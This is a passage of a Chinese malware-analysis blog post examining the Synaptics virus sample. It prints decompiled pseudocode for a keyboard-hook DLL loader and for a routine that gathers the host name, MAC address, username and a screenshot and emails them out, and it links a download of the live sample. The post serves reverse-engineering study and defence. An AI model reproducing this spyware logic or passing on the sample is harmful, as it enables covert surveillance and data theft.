  int v11; // edx  
  __int64 v12; // rax  
  _DWORD *v13; // eax  
  HANDLE v14; // eax  
  int v15; // edx  
  __int64 v16; // rax  
  _DWORD *v17; // ebx  
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-1Ch] BYREF  
  void *v20; // [esp-14h] [ebp-18h]  
  int *v21; // [esp-10h] [ebp-14h]  
  int v22; // [esp+0h] [ebp-4h] BYREF  
  int savedregs; // [esp+4h] [ebp+0h] BYREF  
  
  v22 = 0;  
  v21 = &savedregs;  
  v20 = &loc_476697;  
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)&ExceptionList);  
  if ( (_BYTE)a2 )  
  {  
    sub_47671C(a1, a2, dword_49EC58, v21, v20, ExceptionList);// 释放监听DLL文件  
    v6 = System::__linkproc__ LStrToPChar((char *)dword_49EC5C);  
    *(_DWORD *)(a1 + 64) = LoadLibraryA(v6);    // 加载监听DLL文件  
    if ( !*(_DWORD *)(a1 + 64) )                // 加载失败后的处理  
    {  
      System::__linkproc__ LStrCat3((int)&v22, &str_X[1], dword_49EC58);  
      sub_47671C(a1, a2, v22, v21, v20, ExceptionList);  
      v7 = System::__linkproc__ LStrToPChar((char *)dword_49EC5C);  
      *(_DWORD *)(a1 + 64) = LoadLibraryA(v7);  
    }  
    *(_DWORD *)(a1 + 68) = GetProcAddress_0(*(HMODULE *)(a1 + 64), "HookOn");  
    *(_DWORD *)(a1 + 72) = GetProcAddress_0(*(HMODULE *)(a1 + 64), "HookOff");  
    if ( !*(_DWORD *)(a1 + 68) || !*(_DWORD *)(a1 + 72) )  
    {  
      LOBYTE(v8) = 1;  
      v9 = unknown_libname_173(&cls_SysUtils_Exception, v8, &str_DLL_Fonksiyonu_[1]);// 未找到DLL函数  
      System::__linkproc__ RaiseExcept(v9, HIDWORD(v9));  
    }  
    FileMappingA = CreateFileMappingA((HANDLE)0xFFFFFFFF, 0, 4u, 0, 4u, "ElReceptor");  
    *(_DWORD *)(a1 + 48) = FileMappingA;  
    if ( !FileMappingA )  
    {  
      LOBYTE(v11) = 1;  
      v12 = unknown_libname_173(&cls_SysUtils_Exception, v11, &str_Dosya_Olu_turul[1]);  
      System::__linkproc__ RaiseExcept(v12, HIDWORD(v12));  
    }  
    v13 = MapViewOfFile(*(HANDLE *)(a1 + 48), 2u, 0, 0, 0);  
    *(_DWORD *)(a1 + 56) = v13;  
    *v13 = a3;  
    v14 = CreateFileMappingA((HANDLE)0xFFFFFFFF, 0, 4u, 0, 4u, "CBReceptor");  
    *(_DWORD *)(a1 + 52) = v14;  
    if ( !v14 )  
    {  
      LOBYTE(v15) = 1;  
      v16 = unknown_libname_173(&cls_SysUtils_Exception, v15, &str_Dosya_Olu_turul[1]);  
      System::__linkproc__ RaiseExcept(v16, HIDWORD(v16));  
    }  
    v17 = MapViewOfFile(*(HANDLE *)(a1 + 52), 2u, 0, 0, 0);  
    *(_DWORD *)(a1 + 60) = v17;  
    *v17 = a3;  
    (*(void (**)(void))(a1 + 68))();            // 调用HookOn  
  }  
  else  
  {  
    if ( *(_DWORD *)(a1 + 72) )  
      (*(void (__cdecl **)(_EXCEPTION_REGISTRATION_RECORD *, void *, int *))(a1 + 72))(ExceptionList, v20, v21);  
    if ( *(_DWORD *)(a1 + 64) )  
      FreeLibrary_0(*(HMODULE *)(a1 + 64));  
    if ( *(_DWORD *)(a1 + 48) )  
    {  
      UnmapViewOfFile(*(LPCVOID *)(a1 + 56));  
      UnmapViewOfFile(*(LPCVOID *)(a1 + 60));  
      CloseHandle_0(*(HANDLE *)(a1 + 48));  
      CloseHandle_0(*(HANDLE *)(a1 + 52));  
    }  
  }  
  __writefsdword(0, (unsigned int)ExceptionList);  
  v21 = (int *)&loc_47669E;  
  return System::__linkproc__ LStrClr(&v22);  
}

6、信息回传

病毒通过邮件的方式将被感染的计算机的信息发送到指定的邮箱。

int __fastcall MailReply(int a1)  
{  
  int v2; // eax  
  int v3; // ecx  
  int v4; // ecx  
  int v5; // ecx  
  int v6; // edx  
  DWORD v7; // ecx  
  int v9; // [esp-28h] [ebp-5Ch]  
  int v10; // [esp-20h] [ebp-54h]  
  int v11; // [esp-1Ch] [ebp-50h]  
  unsigned int v12[3]; // [esp-18h] [ebp-4Ch] BYREF  
  unsigned int v13[2]; // [esp-Ch] [ebp-40h] BYREF  
  int *v14; // [esp-4h] [ebp-38h]  
  int v15; // [esp+Ch] [ebp-28h] BYREF  
  int v16; // [esp+10h] [ebp-24h] BYREF  
  int v17; // [esp+14h] [ebp-20h] BYREF  
  int System__AnsiString; // [esp+18h] [ebp-1Ch] BYREF  
  __int32 v19; // [esp+20h] [ebp-14h] BYREF  
  int v20; // [esp+24h] [ebp-10h] BYREF  
  int v21; // [esp+28h] [ebp-Ch] BYREF  
  int v22; // [esp+2Ch] [ebp-8h] BYREF  
  int v23; // [esp+30h] [ebp-4h] BYREF  
  int savedregs; // [esp+34h] [ebp+0h] BYREF  
  
  v2 = 0;  
  v14 = &savedregs;  
  v13[1] = (unsigned int)&loc_49743D;  
  v13[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v13);  
  if ( !*(_DWORD *)(a1 + 768) )  
  {  
    v2 = Adaptreq::TAdapterRequestParamsImpl::TAdapterRequestParamsImpl(dword_49F194, dword_49F190, dword_49F18C);  
    *(_DWORD *)(a1 + 768) = v2;  
  }  
  if ( (unsigned __int8)sub_474D34(v2) )  
  {  
    v12[2] = (unsigned int)&savedregs;  
    v12[1] = (unsigned int)&loc_497418;  
    v12[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
    __writefsdword(0, (unsigned int)v12);  
    GetMailContent(*(_DWORD *)(a1 + 764), (int)&v23);// 获取邮件内容  
    (*(void (__fastcall **)(_DWORD, int *))(**(_DWORD **)(a1 + 780) + 28))(*(_DWORD *)(a1 + 780), &v22);  
    System::__linkproc__ LStrCatN(&v23, 6, v3, &str_____________SYS[1], &str___88[1], v22);  
    sub_494D10(dword_49F19C, dword_49F198);  
    v11 = v23;  
    v10 = dword_49F1A0;  
    GetComputerName((int)&v20);                 // 获取计算机名  
    v9 = v20;  
    GetMacAdd(&v19);                            // 获取mac地址  
    System::__linkproc__ LStrCatN(&v21, 4, v4, v9, &str____[1], v19);  
    GetUserName(v21);                           // 获取系统登录的用户名  
    Dbxtrace::TDBXTracePascalFormatter::GetProperty(v10, v11);  
    sub_4737B0((int)&v16);                      // GetTempPathA  
    sub_472D44(8, &v15);  
    System::__linkproc__ LStrCatN(&v17, 4, v5, &str___89[1], v15, &str__jpg[1]);  
    sub_4752EC(v17, &System__AnsiString);       // 屏幕截图  
    sub_494F84(*(_DWORD *)(a1 + 768), System__AnsiString, 1);  
    SendMailA(*(_DWORD *)(a1 + 768), v6, v7);   // 发送邮件  
    __writefsdword(0, v12[0]);  
  }  
  __writefsdword(0, v13[0]);  
  v14 = (int *)&loc_497444;  
  return System::__linkproc__ LStrArrayClr(&v15, 10);  
}

发送邮件的邮箱地址、密码和接收邮件的邮箱。

同时,病毒还会下载恶意文件,包括exe和ini文件。

0x04 修复建议

可以直接火绒一把梭。

因为我的虚拟机是没装任何杀软的,才会让病毒有可乘之机,好在只是感染了虚拟机,没有特别大的影响,在这还是提醒各位小伙伴装好杀软,不要在网上乱下东西。

这次病毒样本分析,虽然网上有些文章参考,但是不够全面,自己也是挨个函数找,分析了很久,之前也从没分析过一个完整的病毒程序,在锻炼自己逆向分析能力的同时也提升了自己对恶意程序的认知。即使是这样,作为一名安全从业者被感染病毒实在不该。

总结:常在河边走,还是比较容易湿鞋。

关于此次分析的病毒样本已经放到云盘中了,想要分析的可以下载分析,注意不要干坏事哦~

0x05 参考文章

https://blog.csdn.net/skystephens/article/details/104901398

https://www.freebuf.com/articles/endpoint/222991.html

https://www.52pojie.cn/thread-1147954-1-1.html

病毒样本:http://pan.tidesec.com:5244/jysec/-03-%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/-05-%E6%81%B6%E6%84%8F%E6%A0%B7%E6%9C%AC/Synaptics.zip

往期推荐

TscanPlus-一款红队自动化工具

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

E

N

D

Tide团队产品及服务

团队自研平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

扫码加入一起学习吧~

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2